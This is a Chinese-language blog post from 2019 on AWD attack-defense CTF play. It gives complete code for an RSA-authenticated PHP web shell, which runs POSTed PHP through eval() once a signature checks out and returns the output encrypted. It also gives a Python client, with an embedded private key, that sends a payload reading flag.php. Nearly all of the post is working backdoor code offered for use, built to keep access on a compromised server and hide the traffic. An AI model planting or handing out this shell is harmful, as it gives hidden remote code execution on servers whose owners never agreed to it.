CBiu's Blog

AWD中的RSA WebShell

2019/05/10 Share

论如何在AWD中的安全的留shell :)

服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
#Author: CBiu
$PUB_KEY = '-----BEGIN PUBLIC KEY-----
MIGeMA0GCSqGSIb3DQEBAQUAA4GMADCBiAKBgHw6fTCgWdoCEau6H5YDp66rH02U
AhhaBNFspmqSZCsBpYK+c6LyKlYRMYGGNlF7UA5cXAvcZFHHKoaQaHrPqrZ8hPCg
E2cjsYrzeUR79c/8rCQ6BndcF6CkRz15yaNmY7h8iknq3AofDEIG2O7y0IvJyOT5
0ebw7kIG4S1/aHiNAgMBAAE=
-----END PUBLIC KEY-----';
$pub_key = openssl_pkey_get_public($PUB_KEY);

$cmd = base64_decode($_POST['s']);
$sign = base64_decode($_POST['sign']);

if (!openssl_verify($cmd, $sign, $pub_key)){
die('verify fail');
}

$result = str_split(eval($cmd), 117);
foreach($result as $o){
openssl_public_encrypt($o, $sub_enc, $pub_key);
$arr[]=$sub_enc;
}
$crypted = implode('', $arr);

openssl_free_key($pub_key);

echo base64_encode($crypted);

客户端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# pip install rsa
# Author: CBiu
import rsa
import base64
import requests

PRIV_KEY = '''-----BEGIN RSA PRIVATE KEY-----
MIICWwIBAAKBgHw6fTCgWdoCEau6H5YDp66rH02UAhhaBNFspmqSZCsBpYK+c6Ly
KlYRMYGGNlF7UA5cXAvcZFHHKoaQaHrPqrZ8hPCgE2cjsYrzeUR79c/8rCQ6Bndc
F6CkRz15yaNmY7h8iknq3AofDEIG2O7y0IvJyOT50ebw7kIG4S1/aHiNAgMBAAEC
gYAH7tA5v7OdKU6pkawcr0UQ8VqBYLc1iOIP4YlK+ugsmuFP1QubVy1+64AmzkQ/
tckp8ZnrI/rAAiDkEOqrFQHIqHWscsMz8Tg/e5G8zrpZ/IDIX2AMMMxeVPGeTD5z
nw7o3aClT/mXJKp37RRy+l283QxssAKaloeVVD35Yd15gQJBAMv1AQddrh/dcp43
H77fw7w+ZX812AysFZkTgKfNc0qonRK5nX5L3r1XVQKdiQesEBsbRbNSmE59pg4v
7zw4yO0CQQCb7Wkdxx0A4XLQ3wYQRMzD5iMKT7NiOfyecYFe4HxbcD0V6yoH8WyD
UDPRnutnlNcGAzdhdLAh+Hp14/oRGJohAkEAyO6dzdjv83qiMdbS0qP2XN0H9zRf
ndRnDsDU7fwNCk9lN45f543taZHBMWtsFX/g+iN7HnhPjnxg/PcidKzo3QJAfZ5Q
dxr4dMMsOrXSLr0eshvv0tjOza2lpQgQj50O0qOjssrX+7o2D7xHYvNC9xnj+QYS
UcMuOs/x6JQX3DoTwQJASa60jvd9iF8fFsxfUylZt5nmpMxXao3cvem8yOG9bedz
P3rcz92tLUWvH6ggZBhGB+ABJFbmeB8ILIfGmHDChw==
-----END RSA PRIVATE KEY-----'''

payload = '''
return file_get_contents("flag.php");
'''

priv_key = rsa.PrivateKey.load_pkcs1(PRIV_KEY.encode())

sign = rsa.sign(payload.encode(), priv_key, 'SHA-1')

data = {
"s": base64.b64encode(payload),
"sign": base64.b64encode(sign)
}

r = requests.post("http://localhost/rsa.php", data=data)

crypted = base64.b64decode(r.content)

result = ""
for i in range(len(crypted) / 128):
result += rsa.decrypt(crypted[i*128:(i+1)*128], priv_key).decode()

print(result)

概述

这里没有用私钥加密payload,仅做了验证
反正别人有公钥也能解密出payload(因为懒:))
执行后的返回结果用公钥加密,并且做了分块,不用担心数据过长的问题
源码地址:
https://github.com/CBiu/RSAWebShell/

参考

https://xz.aliyun.com/t/4640
https://www.jianshu.com/p/6280aa136292
https://stuvel.eu/python-rsa-doc/reference.html

CATALOG
  1. 1. 服务端代码
  2. 2. 客户端代码
  3. 3. 概述
  4. 4. 参考